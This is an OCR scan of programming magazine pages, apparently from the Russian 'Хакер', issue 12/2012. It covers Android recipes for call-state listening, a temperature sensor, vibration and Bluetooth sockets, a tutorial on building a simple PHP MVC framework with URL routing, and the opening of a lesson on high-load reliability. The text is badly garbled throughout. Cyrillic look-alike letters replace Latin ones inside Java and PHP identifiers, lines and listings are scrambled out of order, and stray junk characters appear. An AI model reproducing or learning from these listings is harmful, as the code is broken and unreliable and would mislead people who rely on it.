Сейчас мы напишем программу, которая реагирует на все три состояния звонка и ничего не делает, действия ты определишь сам. Такое решение было принято, дабы не захламлять код. А что делать, решай сам можешь, например, вывести уведомление при получении звонка. Чтобы задать собственные действия при изменении сOстOяния звOнка, мы переOпределим метOд опСа l lStateChanged (). Прежде чем приступить к написанию кода, добавляем в файл манифеста следующую строку:
3.
);
iпсоmiпgNumЬег);
.
Листинг
), -
case Telephonyмanageг.CALL_STATE_IDLE
CALL_STATE, позволяющую определить номер входящего звонка {и, соответственно, выполнить определенные действия при входящем звонкеl. Возможны три состояния звонка: CALL_STATE_IDLE- не принимается входящий звонок и не устанавливается исходящий; . CALL_STATE_RlNGlNG-ycTpoйcTBo принимаетвходящийзвонок; . САLL_SТАТЕ_OFFНOOК-пользователь говоритпотелефону.
"
listen(new TelListeneг(
пOлучЕниЕ инФOрмАции 0 сOстOянии тЕлЕФOнА
:
j
supeг.onCallStateChanged(state, switch (state) {
н
);
-peгmission andnoid
)
ргivаtе class TelListeneг extends Phonestatelisteneг public void onCallStateChanged(int state, е Stгing iпсоmiпgNчmЬеп) {
ожидании определенного события можно с помощью <прослушек), которые подробно описаны на странице руководства разработчика Апdгоid: hLt уlQбЬ5hЗ. Мы рассмотрим только наиболее часто используемую (прослушку> PhoneStateListeneг.LlSTEN_
<uses
LEPHoNY_SERvIcE
Устанавливаем (прослушкуD для LISTEN_CALL_STATE
PhoneStateLiSteneг. LISTEN*cALL_STATE
Как видишь, ничего сложного, и можно сразу же перейти к третьему рецепту, где мы 0пределим нOмер вхOдящег0 звOнка.
л -{
/
'
рЕцЕпт
рАБOтАЕм с сЕнсOрАми
Современныемобилкиоснащенывсевозможными камерой, акселеромедатчиками [сенсорами)
-
трOм, датчикOм температуры и прOчим.
Наиболее популярна из сенсоров камера, н0 управление ею заслуживает 0тдельнOг0 разговора мы 0бязательно поговорим об этом, но чуть позже. А пока рассмотрим другие датчики, которыми может быть оснащено мобильное устроЙство: ТYРЕ_АССЕLЕROМЕТЕR-акселерометр, позволяетопределить ускорение мобильного устройство. Таким датчиком оснащаются не все смартфоны, преимущественно акселерометр можно найти на смартфонах, оснащенных функцией GPS (хотя это необязательно- все зависит от производителя устройстваJ. ТYРЕ_LlGНТ-датчик света. Oчень полезная штука: с его помощью можешьуправлять подсветкой дисплея, например увеличить яркость, когда сталотемно. В конечном итогедатчик пOмогает экOнOмить заряд аккумулятOра.
.
. . .
ТYРЕ_ТЕМРЕRАТURЕ-температурныйдатчик. ТYРЕ_РRЕSSURЕ-датчикатмосферногодавления.
кOдинг В твоем устройстве могут быть дополнительные датчики. Используй метод getSensoгListIl класса SепsогМапаgег, чтобы получить список датчиков. Сейчас мы рассмотрим чтение показаний датчика температуры. Примеры чтения других датчиков можно найти в документации разработчика Апdгоid. !ля чтения датчиков подключаем следующие пакеты:
Метод сапсеl[) используется для преждевременной отмены вибрации (например, если ты установил вибрацию три секунды, а пользователь отреагировал раньшеi:
Vib. сапсе1( );
t
imрогt апdгоid. hагdwаге. Sепsоп; imрогt andгoid. hагdwаге. 5епsопЕчепt; imрогt апdгоid. hагdwаге.SепsогЕчепtListепегj
imроrt andnoid. hапdwаге.SепsогМапаgег;
!алее определить объекты класса SепsогМапа9ег:
ргivаtе SепsогМапаgег
mуМапаgеп = (SепSогМапаgег)gеtSуstеmSегчiсер ( SENSOR_SERVIсE ); mуМапаgег . геgi ste г Listeneг (tеmрSепsог Li stепег, mуМапаgег. getDefaultSenson( SепSог. TYPE_TEMPERATURE
)
),
;
Методу геgistегListепег[) передают три параметра. Первый название обработчика датчика температуры. В нашем случае это tempListene1 который будет определен позже. Второй параметр - датчик п0 умOлчанию, в нашем случае - датчик температуры. Третий параметр задает время обновления показаний датчика. ,Щля наиболее быстрого обновления используйте SENSOR_DELAY_ GAME, для обычного обновления - SENSOR_DELAY_NORMAL. Следующий код определяет (прослушку> tempListeneг. Наша задача - переопределить методы опАссuгасуСhапgеd[) и опSепsогСhапgеd[). Первый метод нам не нужен, поэтому мы определим его как пустой метод, А второй метод будет устанавливать текст области info (элемент TextView в разметке) - мы будем пOказывать температуру.
ргiчаtе fina1 SensoгEventlistenen tеmрListеп€г new SensoгEventListeneг() { @0чеггidе
pubIic void опАссчгасуСhапgеd(Sепsог iп1 ассuгасу) {}
фчеггidе
if
(ечепt.sепsог.gеtТуре()
Sепsог.ТYРЕ_ТЕМРЕRАТURЕ)
== {
info.setText("TeMnepaTypa:
-
"
=
е
sепsог, Ё
рuЬliс void опSепsогСhапgеd(SепsогЕчепt
event)
{
,Щополнительную информацию можно получить по адресу:
Ьrl]уД[Цs
включАЕм виБрOзвOнOк Привлечь внимание к уведомлению или диалогу программы можно с помощью вибрации, ,Щля управления виброзвонком добавляем в файл манифеста следующее разрешение: :
паmе=€l
. .
:
паmе=ё
BLUETOOTH_ADMIN"
/
>
В пакете апdгоid.Ьluеtооth определены следующие классы: Bl uetoothAdapteг- п редста вляет и нтерфейс оонаружеffi@iа
Вluеtооthсlаss-описываетобщиехарактеристики
. .
устро
о
устро
Bluetooth-
ства.
й
ВluеtооthDечiсе-представляетудаленное Вluеtооth-устройство BluetoothSocket-coKeT или точка соединения для данных, которыми наша система обменивается сдругим Bluetoothство м,
й
Вluеtооthsегчегsосkеt-сокетдляпрослушивания
входящих
Вluеtооth-соединений.
включЕниЕ вLUЕтOOтн_АдАптЕрА Первым делом получаем адаптер по умолчанию:
BluetoothAdapteг myBluetooth = н BluetoothAdapter. getDef aultAdapteг
();
можно таким образом:
// Если B]uetooth выl(лlOчен if ( lmyBluetooth.isEnabled()) { // Создаем действие AcIION_REQUEST_ENABLE,
//
l(oтopoe
запрашивает включение адаптера
= е пеw Intent ( BJ.uetoothAdapteг. AcTIoN_REQUEST_ENABLE // Выполняем действие
Intent eIntent
staгtActivity( eIntent
)
;
ОБНАРУЖЕНИЕ УСТРOЙСТВ ПО СОСЕДСТВУ обнаружения устройств используется код из листинга 4.0бнаруженные устройства выводятся в журнал с помощью Log.d().
Листинг
4.
Поиск Bluetooth-ycTpoйcTB
imрогt апdгоid. util, Log; . . . ргivаtе fiпаl ВгоаdсаstRесеiчег mуRесеiчег = е пеw ВгоаdсаstRесеiчег() { public void onReceive(Context context, Intent
intent)
/ Kot да найдено у( l роис l во
(BluetoothDevice.ACTION_FOUND.equals(action)
//
)
{
{
Получаем обьект BluetoothDevice из Illtent BluetoothDevice device = iпtепt.8еtРагсеlаЬIеЕхtгае (
сеl<унды
) ;
,Щля
/
Vibnatoг У16 = (ViЬгаtог) getSystemSeгvicep
-
новки Вluеtооth-соединений.
if
!алее используем класс ViЬгаtог так:
104
использующего Bluetooth,
Stгiпg action = intent.getAction();
/>
(context. VIBRATOR_SERvIcE ) ; ViЬ.чlЬгаtе(ЗООО); / / Вибрировать три
произвести собственно обмен данными.
"апdгоid. регmissiоп.
\J
"andгoid. peгmission.VIBRATE"
найтидоступныеВluеtооth-устройства; подключитьсякодномуизустройств;
-peгmission android
<uses
+ event.values[0])j
}
<uses - penmission'апdгоid
. .
Активировать Вluеtооth-адаптер
};
рЕцЕпт
.
<uses-peгmlssion апdгоid : паmе=р "апdгоid. регmissiоп. BLUETOOTH" />
}
5
передачи данных по Bluetooth нужно: включитьадаптер Bluetooth;
,Щля
В файл манифеста Апdгоid-приложения, добавляем строки:
mуМапаgеп = пu11;
SепsогМапаgеп. SENSOR_DE LAY_GAME
пЕрЕдАчАдАнных п0 BLUETOOTH
Д \' рЕцЕпт,
BluetoothDevi
се . EXTRA_DEvIc
Вь,водим сообщечие
в
Е)
;
хурнал
хлкЕр
12/1ь7/2012
Готовим приложение для Апdгоid
Log.v("BlueTooth Discovery: ", н device.getName() + "\п" + device.getДddness()); I. ),
}
IntentFilteг filtег
= н IntentFilteг ( BluetoothDevice.
пеw
ACTION_FOUND) ;
геgistегRесеiчеr(mуRесеiчег, filtег) myвluetooth. stагtDisсочегу ( ) ;
;
YстлцOвкА сOЕдинЕния с BLU ЕтOOтн -устрOиствOм Можно разработать как приложение-сервер, которое будет ожидать вхOдящих запросов, так и приложение-клиент, которое будет устанавливать запрос с сервером. В листинге 5 приведен код, ожидающий соединения от программы-клиента.
Листинг 5. 0жидание запроса на подключение от клиента ,l / Класс AcceptBluetoothThгead принимает входящие запросы огiчаtе c]aSS AcceptBluetoothThread extends Тhгеаd { pnivate fiпа1 BluetoothSeгvenSocket mуSегчегSосkеt; public АссерtТhгеаd() { / / Используем временный обьект, который позже / / будет присвоен члену mуSегчегSосkеt, поскольку // mуSеrчегSосkеt - финальный член класса и потом уже // не может быть изменен BluetoothSeгveгSocket tmp = пц11,
tпу
Рис. 2. Инфорttация
ргiчаtе fiпаI BluetoothSocket mysocket;
/
{
} catch (IOException е) {} Присваиваспt tllp члену l(ласса пlуSегчегSосkеt
tгу { // I4Y*UUID - идентификатор, такой же использует
//
mуSегчегSосkеt = tmp; {
BluetoothSocket socket =
(MY_UUID);
nullj
} catch (IoException е)
Прослушиваем соединения
mySocket = tmp;
while (tгuе) { trу { /l Принимаем соединение socket = mуSегчепSосkеt.ассерt(); } catch (IOException е) { } /
/
пеа
}
//
tгу { // Соединяемся с
Если соединение было принято != null) { соединения
mуSегчегSосkеt. close
mySocket. connect(
в отдельном
DoSomethingWith ( soc ket ) ; соединения / / Поtле обработки
посl<ольку оно
);
устройством через сокет )
j
} catch (IOException connectException)
потоке
// Невозможно подключиться,
tгу
закрываем сокет
{
закрываеlч1 сокет
{
mySocket. close( );
( ).;
} catch (IOException closeException)
Ьгеаl<1
геtuгп1
} }
{}
}
}
public void canceI() { // В случае
tгу { //
3акрываем сокет mуSегчегSосkеt. close( ) ;
} catch (IoException е)
/ /
//
отмены соединения... \
Соединение
в отдельном
DoSomethingtllith
производим
установленоJ
его
обработку
потоке (mySoc ket );
J
pubJ.ic void сапсе1()
{}
tгу
}
{
{
mySocket. close( );
}
Теперь осталось написать приложение-клиент, устанавливающее соединение с Bluetooth-coKeToM. Пример класса, которыЙ испOльзуется для установки соединения, приведен в листинге 6.
6.
Установка соединения с Bluetooth-coKeToM ;lгil,,аtс class СоппесtТhгеаd extends Тhгеаd {
Листинг
хлкЕр
замедляет соединение
mАdарtег. сапсеlDisсочегу(
l<;
Обработка
{}
public void гчп() { // Отt<лючаем обнаружение устроиств,
if (socket 7'/
сервер
tmp = бgri...сгеаtеRfсоmmsосkеtтоSегчiсеRесогdр
}
Ь
{
Используем временный объект, который позже // будет присвоен члену mySocket, поскольку // mySocket - финальный член класса и потом уже // не может быть изменен BluetoothSocket tmp = nuIl; myDevice = devicej // Получаем B.],uetoothSocket для соединения /' с Blr.letooth Davice /
//
//
телефоне
pгivate fiпаl BluetoothDevice myDevice; public ConnectThгead(BluetoothDevice device)
// l'lY_Ut]ID - идентификаторl используемый t.лиеrtтом tmp = дд6.оlег.listепUsiпgRfсоmmWithSегчiсеRесогdе (NAME, MY_UUID);
pLlblic void гчп()
о
12/16712012
} catch (IOException е)
{}
} }
Полный код приложения ты найдешь на DVD. На этом все. Буду рад выслушать твOи замечания и предлOжения п0 адресу
dhs
alэs[dma l,гu,
]Е
кOдинг
l
l
'эу!
ffi
W
'! lJY I t , J, tr _
у,
,,
:,;1
J
рАзБи рАЕ},lся с пАттЕрн0},| п рOЕкти рOвАн ия },lvc и нАчинАЕ},l рАзрАБOтку Скажу честно: нам не дает покоя слава Yii, Коhапа, Соdеlgпitег. Каждьlй из этих фреймворков имеет свои киллер-фичи, однако все они написаньl на Рнр и используют шаблон проектирования Model Vrew Сопtгоllег. Погоди, так ведь Mbl уже знаем о них самое главное! !авай скорее напишем свой фреймворк| РАЗБИРАЕМСЯ С ТЕOРИЕЙ MVC Перед тем как ринуться в бой, быстренько ознакомимся с теориеи паттерна Mode] View Сопtrоllег. Начнем с небольшого экскурса в истOрию,..
Многие ошибочно полагают, что паттерн проектирования MVC появился не так давно и изнача,lьно стал применяться в области веб-разработки. На самом деле концепция MVC была выдвинута и детально описана еще в ]979 году - о том, что такое веб, тогда никто и не знал, потому что слова веб просто не бьло. Своим рождением MVC обязан Трюгве Реенскаугу. В то время он работал в компании Хеrох PARC над язь ком программирования Sma] Talk. Нетрудно догадаться, что свою первую практическую реализацию шаблон MVC увидел именно для этого языка. Несмотря на работу, проделанную Трюгве, его концепция была по большому счету лишь идеей, хорошей теорией. Какой-то конкретики, практических примеров в ней описано не было,,Щаже первая библиотека для Small Talk была создана другими разработчиками. Впоследствии было выделено два вида реализации шаблона MVC:
.
Активная модель. f.rавнь м выделяющимся элементом этой Dеализации стала идся iслного разделения ролеtl модели, контроллера r гредсrавления, Все эти сущност14 не должны быть связаны междy собой, ИзменеFrие модели никак не должно отразиться на контроллере или представлении, и наоборот.
.
Пассивная
модель.
В пассивной
модели
сущность
<<модель,
не должна иметь спссооов взаимодеиствия с контроллером и представлением. По фактч, под моделью здесь подразумевается
структура
данl.]ых.
За всеми
ее изменениями
должен
следить контроллер, которь п впослэдствии должен принимать решение 0 перерисOвке представления,
чт0 тАкOЕ MVC и пOчЕму имЕнн0 0н? Щля начала рассмотрим компоненты MVC и определимся
с их на
значением.Модель
сущность,отвечающаязапредOставление доступа к даннь м, алгоритlйы обработки и так далее. Если сказать проще, то именно в модель нужно помещать всю бtlзнес-логику приложения. Исходя из этого, сразу делаем вь вод, что модель не должна ничего знать о других звеньях архитектурь MVC ковтроллере и представлении. Среди веб,разработчиков бь тует заблуждение, что модель предназначена сугубо для операции получения и записи данньlх в базу. Алгоритмь обработки они вь носят в контроллер, Такой подход сводит на неI всю идею MVC. Чуть пOзже мь] вернемся к этOму, Представление - элемент концепции MVC, отвечающий за представление даннь х. Под представлением подразумевается внешний вид будь то шаблон дизайна в веб-приложении или GU десктопной проги, В представлениях, или, как принято говорить на сленге, ((вьюLL,jкахr/ не дOлжн0 сOдержаться никаких алгOритмOв обработки даннь х или их получения. Только отображение и ничего более.
-
хАкЕР
ll.]
ilb1l2a1')
Мастерим свой фреймворк на РНР
ш Код нашего фрейltворка
ч.
ты найдешь на
диске
к
журналу.
\\ Dispatche. Routeý Wcb scrycr
t Простейший роутинг
в
SublimeText
Контроллер - последний элемент, входящий в триаду MVC. 0н призван обеспечивать связь между пользователем [клиентом) и всей остальной системоЙ. В контроллер поступают все пользовательские запросы, он анализирует их и определяет их дальнейшую судьбу. Никаких, например, алгоритмов получения данных из Б!, 0н сOдержать не мOжет. Чтобы тебе было проще разобраться, взгляни на рисунок, иллюстрирующий схему архитектуры шаблона проектирования MVC. На ней видно, что инициатором всех действий выступает клиент {пользователь). 0н делает запрос к приложению [например, вбивает адрес сайта в адресной cTpoKel. Первым за дело берется контроллер. 0н анализирует запрос и определяется с дальнейшим действием. 0н может либо сразу перенаправить клиента к определенному представлению, либо обратиться к модели, которая обработает данные клиента и вернет их контроллеру. Последний, в свою очередь, опять возьмется за определение судьбы контента, которы й увидит пользователь. С понятиями разобрались, теперь переходим к причинам, побуждающим нас обращаться к MVC в своих проектах. Пожалуй, главной причиной использования модели стала необходимость разделения кOда и представления, или, как еще принят0 гOв0рить, (отделение бизнес-логики приложения от представления>. ,Щействительно, проблема разделения кода и отображения встает перед каждым разработчиком. Если изначально об этом не задуматься, то через некоторое время поддерживать такой код станет прOст0 нереальн0. Не будем далеко ходить и сразу посмотрим на веб-приложения. Что в них чаще всего меняется? Конечно же, функционал и дизайн. Новые тренды в области дизайна, юзабилити появляются часто, и, чтобы приложение оставалось популярным, необходимо поддерживать его внешний вид в актуальном для своего времени состоянии. Сам понимаешь, что добиться этог0, если код приложения перемешан с кодом отображения [HTML/CSS), крайне проблематично. Тут хочется привести пример из жизни. Мне довелось работать над проектом, код которого был написан многими разработчиками. Естественно, каждый из них придерживался своего стиля -так, чтобы не сломалось то, что работает и сделано другими. Когда за проект взялся я, то мне повезло меньше всех. Мало того что сначала мне предстояло разобраться в коде, чтобы допилить функционал до нужного уровня, так еще на мои плечи возложили смену дизайна. ,Щизайнер придумал интересный и действительно хороший вариант, но когда я представил, сколько мне потребуется времени на чистку кода приложения, с бесконечным числом разбросанных SQL-запросов, вставок тегов и хаков для браузера, я несколько раз выругался матом и решил тупо начать с полной переделки. Пришлось, конечно, попотеть, но, когда я привел код
хлкЕр 12l1b7l2012
Cxetla архитектуры ltiVC
нужный вид, смена дизайна показалась мне попсовой песней. Кстати, после этого дизайн приложения менялся еще два раза, и оба они прошли в приемлемые сроки. Немаловажный плюс шаблона MVC еще и в том, что он сразу адаптирован для работы в команде. Разработчик, отвечающий за бизнес-логику, может спокойно работать над своими запросами и алгоритмами, а фронтенд-девелопер может в это время разрабатывать новые представления. В итоге каждый занимается своим делOм и не мешает другим. в
МАСТЕРИМ СOБСТВЕННЫЙ ФРЕЙМВOРК
!ля
начала определимся с задачами и функциями будущего нашего проекта. А что вообще собой представляет типичный это удобный каркас для нового фреймворк? В первую очередь приложения, созданный по канонам модели MVC. !ругой важный компонент абсолютно любого фреймворка роутинг. Под роутингом подразумевается модуль, отвечающий за разбор запросов, получаемых от клиента. Ну и третьим компонентом можно назвать дополнительные библиотеки. В таких фреймворках, как Соdеlgпitег, Коhапа, Yii, присутствует множество дополнительных модулей с функциями, которые могут пригодиться при разработке веб-проекта, Наш демонстрационный фреймворк, разумеется, получится максимально простым. Мы не будем городить тонну библиотек (все равно не успеемJ, а просто реализуем МVС-шаблон и простейший роутинг. Почему простейший? Потому что тут есть много различных нюансов, и про серьезный пример роутинга в Yii можно написать 0тдельную статью. 0К, теперь подойдем к созданию файловой структуры нашего будущего фреймворка. Мой вариант представлен ниже:
-
-
а
ppli | | | |
с
at
ion
- сопtгоllегs
-
соге models
-views
1oad. php .
htaccess
index. php В директориях сопtгоllегs, models, views будут храниться пользовательские варианты контроллеров, моделей и представлений. Каталог соге будет содержать все системные файлы. Тут будут распOлагаться наши шаблоны контроллеров, моделей и другие вспомогательные модули. Сценарий load.php будет отвечать за подключение всех компонентов и непосредственный запуск приложения.
кOдинг Корневая директория содержит htассеss-файл [в нем определим правила для веб-сервера) и index.php. Индексный файл будет являться диспетчером нашего прилOжения. Его единственная задача принять запрос (все обращения пользователя будут идти через этот файл) и передать эстафетную палочку загрузчику load.php. Теперь начнем постепенно заполнять наши файлы. Первым делом открывай файл настроек web-cepBepa Ihtaccessl и напиши в нем нескOльк0 стрOчек кOда:
-
t
0п
Rewnitecond %{REQUEST_FILENAME}
RewriteCond %{REQUEST_FILENAME} RеwгitеRчlе .+ index.php IL]
!
-f
!
-d
='Model_' $сопtгоllегNаmеj ='Сопtгоllег_' $сопtгоllегNаmе; $actionName ='action_' $actionName; $сопtгоllегNаmе
$fileWithMode1 = stгtоIоwег($mоdеlNаmе)'рhр'; $fileWithModelPath = "application/models/" $fileWithModeI;
if t
1);
php'
;
/
:
:
Листинг
1.
;
Исходный код класса Routing
.;
lempty($piecesofuгt[1] ))
$сопtгоlIегNаmе = $piecesOfUг1[1]
} (
!
1еWithСопtгоllегРаth)
)
1еWithСопtгоllегРаth;
Здесь нужно добавить обработку ошибки.
404
$action)
са1l_чsег_fчпс(аппау($сопtгоllеr,
)
$action_name), н
);
}
$сопtгоllегNаmе ='Main'j $actionName = 'index' $piecesOfUг1 = explode('/', $_SERVER['REQUEST_URI' ]);
if
//
elsе t
();
static functlon execute() t
(
$fi
$рiесеsOfUг1
;
cJ-ass Routing
if
inc ]ude
($fi
if (method_exists($contnolIer,
t
?php
t
le_exists
е
$сопtпоllег = пеw $сопtrоllегNаmе; $action = $actionName;
;
соге/сопtгоllег.рhр'
execute
(fi
.
}
;
системы с помощью функции геquiге_опсе. После выполнения этой операции нам требуется запустить наш роутинг. !ля этого мы опишем одноименный класс и снабдим его единственным статическим методом executeIJ. Напомню, что именно в роутинге будет происходить разбор URL и определение контроллера, который продолжит обработку запроса. Код класса роутинга приведен в листинге 'l.
t
"
lehlithContгol1e г;
// Например, перекинуть пользователя на страницу
\
Здесь все сводится к банальному подключению компонентOв
<
е
аррliсаtiоп/сопtгоllегs/
t
Запуск роутинга
Routing
leWithModelPath;
elsе
?php
coгe/view.php'
) )
}
остальных компонентов фреймворка, а также запуск роутинга. Что ж, давай сразу это и опишем:
соге/mоdеl.рhр'
lel,rlithМodelPath
"
t
соге/гочtlпg.рhр'
$fi
$filеWithСопtгоllегРаth = $fi
и подключаем загрузчик нашего приложения. Как ты помнишь, в load.php у нас должен быть определен код для подключения всех
геquiге_опсе' геquiге_опсе' геquiге_опсе' геquirе_опсе'
$fi
(
' .php' ;
В index.php мы только определяем режим отображения ошибок
/
inc],ude
if
геquiге_опсе' application/load.
le_exists
$filеWithСопtгоllег = strtоlоwеп($сопtгоllепNаmе).е
?php
lпi_sеt('disрlау_еггогs',
<
(fi
е
}
Этим кодом мы определили, что все запросы от клиента должны переадресовываться сценарию index.php. Пока он у нас пуст, но сейчас мы исправим ситуацию. Oткрой пустышку index.php и напиши в ней: <
;
$mоdеlNаmе
-
RewгiteEngine
$actionName = $piecesOfUгI[2]
}
empty($piecesofuгt[2]
) )
;
/
/
Здесь тоже нужно добавить обработку
ошибок
.!
} }
В первом листинге приведен код класса, реализующего простеЙшиЙ роутинг. ПростеЙшим он получился потому, что в нем не поддерживается обработка дополнительных параметров [поддерживается, но некрасиво) и напрочь отсутствуют какие-либо проверки, обеспечивающие безопасность кода. Эту часть кода я возлагаю на твои плечи, так как в рамках одной статьи рассказать все прOст0 невO3мOжн0. Теперь разберем код первого листинга.,Щля начала нам требуется определить контроллер и метод, которые будут вызваны по умолчанию. Например, если пользователь хочет зайти на наш ресурс, то не нужно заставлять его писать в адресной строке чтото вроде http://ouгsite.com/main/index. В качестве контроллера по умолчанию мы определим Main, а методом у нас будет index. 0брати внимание: все эти значения прописаны жестко в коде. В реальном приложении их лучше вынести в отдельный конфигу-
рационный файл. 0пределив контроллер и метод по умолчанию, мы можем приступать к анализу URL, по котOрому хочет пройти пользователь. ,Щля этого соберем все части URL в массив и начнем анализировать.,Щоговоримся, что первым параметром (сразу после слеша) его ь.{етод, котооый у нас будет имя контроллеDа, а втоDым -
хлкЕр
12/167/2012
Мастерим свой фреймворк на РНР
l)
Фреймворк
в
Ф,,
о
Трюгве Реенскауг (слеваl
действии
честве URL http://ouгsite.com/shop/buy, то мы должны обратиться к контроллеру с именем shop и вызвать его метод buy. Если такой контроллер отсутствует, то нужно сгенерировать ошибку 404. ,Д,ля экономии места я не стал приводить код ее отображения, ег0 ты смOжешь увидеть в исхOдниках, прилагаемых к статье. Представим, что с контроллером мы определились. Теперь самое время задуматься о модели. Ты же помнишь, контроллеру для осуществления своей работы может потребоваться модель, а раз так, то нужно ее подключить. Чтобы знать, какую модель требуется инклудить [их может быть несколько], условимся заранее, что имя файла с моделью должно соответствовать шаблону: Model_ ИмяКонтроллера. Таким образом, каждый контроллер нашего фреймворка может иметь одну модель, что более чем достаточно для реального приложения. Файл с моделью подключается точно таким же образом, как и файл с контроллером. После успешного подключения необходимых файлов нам требуется сделать еще одну проверку. Файл с контроллером мы нашли, а где гарантии, что у него есть соответствующий метод? Если его нет, то нужно прерывать дальнейшие действия и генерировать страницу с кодом ошибки 404. !ля определения наличия метода в РНР есть функция method_exists. Первым параметром передается класс, а вторым имя метода, наличие которого требуется проверить. Если функция выполняется успешно, то можно вызывать нужный метод контроллера. Для этого применяем функцию саll_usег_fuпс(l. Все, на это1,4 с разбOром роутинга покончено, и можно переходить к рассмотрению базовых классов, описывающих заготовки для моделей, контроллеров и представлений.Их код приведен
-
в
листингах 2,З
и 4.
Листинг 2. Код класса Сопtгоllег <
?php
l
СопtгоlIег { ,l l;Lll $model; rlrl] i l. $view; I lrnc ti.()ll _сопtгчсt( ) t $this -> view = rlгll View(); }
Гuпсt
iоп action_index(
t ...}
)
}
Листинг <
3.
Код класса Mode1
?php
хлкЕр
12/1ь7/2012
cIass t
Mode1
public functron cet() { ...
}
} <
?php
с
1ass View
{
1rlnctlc,rl gепегаtе($сопtепt, t
$template, $data =
nu11)
inc 1ude 'application/views/ ' . template;
} }
Как видишь, код листингов практически пуст и содержит только базовое определение классов и методов. Исключение составляет разве что класс View, В нем определен метод 9епегаtеl), в котором происходит подключение файла с шаблоном представления. Весь остальной код будет описан в пользовательских реализациях контроллеров, моделей и представлений.
ТЕСТИРУЕМ ФРЕЙМВOРК Все! Наш простейший фреймворк можно считать готовым. ,Ща, получилось максимально просто, но он работает, и в этом ты убедишься через несколько минут. !ля тестирования новоиспеченного продукта я подготовил небольшой пример: взял одну из бесплатных тем оформления и преобразовал ее к виду представления.,Щалее я определил один контроллер и в методе index 0писал вызOв представления:
$this -> view
-> gепеrаtе('mучlеw', 'template.php');
Результат работы приложения ты можешь увидеть на соответствующих рисунках, а полный код демонстрационного проекта ждет тебя на диске к статье.
ВМЕСТ0 ЗАКЛЮЧЕНИЯ
-
Создать свой фреймворк не такая уж и сложная задача. Приведенный в этой статье пример лишнее тому подтверждение. ,Ща, описанный вариант фреймворка достаточно прост и малофункционален. 0днако тебе ничто не мешает самостоятельно доработать функционал и сделать из него полноценныЙ продукт, который не стыдно будет представить на паблик. Все в твоих pyKaxI Мне же остается только пожелать удачи и попрощаться. Как обычн0, свOи вOпрOсы мOжешь присылать мне на пOчту. Т
-
АкАдЕ},lия
УРOК#
:л'".
-,
",,,, ,l"|,i"l1:д,j
tr
llIllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllIlllllllllllllllllllllllllllllllllllllllllllllllll
Каждый програ ммист хочет стать лучшим, получать все более интересные и сложные задачи и решать их все более эффективными способами. В мире интернет-разработок ктаким задачам мOжн0 0тнести те, с которы ми сталкиваются разработчики высOконагруженных систем.
учЕБник
ПOВЬlСOКИt\4 НАГРУЗКАМ
Большая часть информации, опубликованная по теме высоких нагрузOк в интернете, представляет собой всего лишь описания технических характеристик крупных систем. Мы же попробуем изложить принципы, по котOрым стрOятся архитектуры самых передOвых и самых пOсещаемых интернетпрOектOв нашег0 времени. хлкЕр
12/16712012
Учебник по высоким нагрузкам. Урок
No 6
дЕплOи имOнитOринг В последний урок i,lы решили добавить все, что не успели расctloTpeTb в предыдущих. Также здесь }lы систематизируе}l 0снOвные изученные паттерны проектирования. Кроме того, остался последний пункт начrей обязательной програl"lltlы это эксплуатация. Мало разработать систему. нужно еще и поддерх(ивать, а это целое искусство.
Какуже неоднократно говорилось, первое и главное отличие высOкOнагруженнOг0 прOекта заключается в сложности и наличии большого числа взаимосвязанных компонентов. Ключевое
-
слово, на которое нужно сделать ударение, большого. Представь себе поисковый кластер Яндекса или хранение фотографий
<ВКонтакте>
используются
-там
тысячи
Принципы надежности и мозаменяемость серверов; Избыточность данных, дублирование узлов: -фронтенд: DNS-бала нси ровка, CARP,
Вза
hea гtЬеаt;
-бэкенд: гомогенные взаимозаменяемые бэкенды;
машин.
Серверный диск, при его активном использовании, в среднем в ы ходит из строя раз в два года. Это оз нача ет, что из трех ты ся ч серверов прямо сегодня полетятдиски у четырех машин, Вывод-
-6азы данных: дублирование данных, репликации, кластеры
большой крупной системе всегда что-то не работает, какой-то из серверов вышел из строя, какой-то издисков сбоит. И этонормальное состояние системы. Ты должен быть к нему готов, и мы в этой статье расскажем как. в
Это как
нАдЕжнOсть Надежность ве6-системы [как и любой другой системы] заключается в способности сохранять в пределах установленной нормы значения всех параметров, характеризующих способность выполнятьтребуемые функции. В нашем случае -обрабатывать запросы пользователей. В зависимости от ситуации параметры установленной нормы можно определять по-разному. Конечно, хорошо, если сайтответит на запрос за 0днудесятую секунды, но, если 0н 0тветит на запрос за две секунды, ничего критичного не произойдет. С этим связан один из способов борьбы с резко возросшей нагрузкой, который называется деградация функциональности. В любом проекте есть функции, почти незаметные пользователю, нотребующие для своей реализации серьезных серверных ресурсов. Например, скорость появления на сайте опубликованной редактором новости. Если это не новостное издание, то пострадает л и пOл ьзо вател ь 0т т0 г0, что н овость ста н ет доступ на тOл ьк0 через десять минут после публикации? Нет, не пострадает, он даже этого не заметит. Но разработчикам это позволит внедрить кеширOвание или прегенерацию. Возьмем в качестве примера онлайн-конструктор сайтов Sеtчр.гu, разработанный в нашей компании. Созданный пользователем сайт не начнет работать/ пока тот не нажмет кнопку "0публиковать>. Это звучит просто, но такое искусственное препятствие пOзвOлило значительн0 снизить нагрузку на систему, поддерживающую З56 тысяч пользовательских сайтов всего на нескольких серверах.
с
денормализацией
из прOшлого урока -хранение
дублированныхданных, оптимизированных для выборок,
-да,
ридется х ра н ить одн и и те же эле менты в нескOльких экземплярах, п
зато быстро работает. Это неизбежное зло. Чтобы понять, что именно дублировать, нужно смоделировать
проблемное состояние
и
заранее
прOсчитать его. .Щиск может выйти из строя? Значит, надо хранить данные не в 0дном экземпляре, а в нескOльких. И обновлять в реальном времени: закачивая файл на один из серверов в паре, сразуже закачивать и на другой. Пока файл не появится на обоих cepBepaxl операция считается невыполненной. Сервер бэкенда может сгореть? Пусть серверов будет на один больше.Или на несколько штук больше, чтобы не вызвать цепную реакцию и не столкнуться с проблемой шквала/антишквала [смотри предыду-
щие урокиl,
Можетумереть что-то базой данных? Настрой ци ю, и пусть слей в всегда па ра l,,! и, готовы й п ринять
на
с
дело-допустимое снижение скорости работы нашей системы,
нагрузку. ,Щолжно ли программное обеспечение самOстOятельно принимать решение о переключении надругой сервер базы данных? Это на самом деле совсем не простой вопрос. По-
избегать проблем со скоростью во всехдругих случаях? Как избегать замедлений вне зависимости оттого, какие диски полетели и куда?
изБытOчнOсть
и дуБлирOвАниЕ Способ ровно один: если ты хочешь быть готовым к выходу из строя некоторых элементов вводи избыточность этих самых элементов. Это, к сожалению, неизбежно. Если хочешь, чтобы ставьдва, если хочешь надежфронтенд всегда был на связи ности в работе базы данных-настраивай репликацию.
-
-
хдкЕр 12/1ь7/2012
репликастоит под
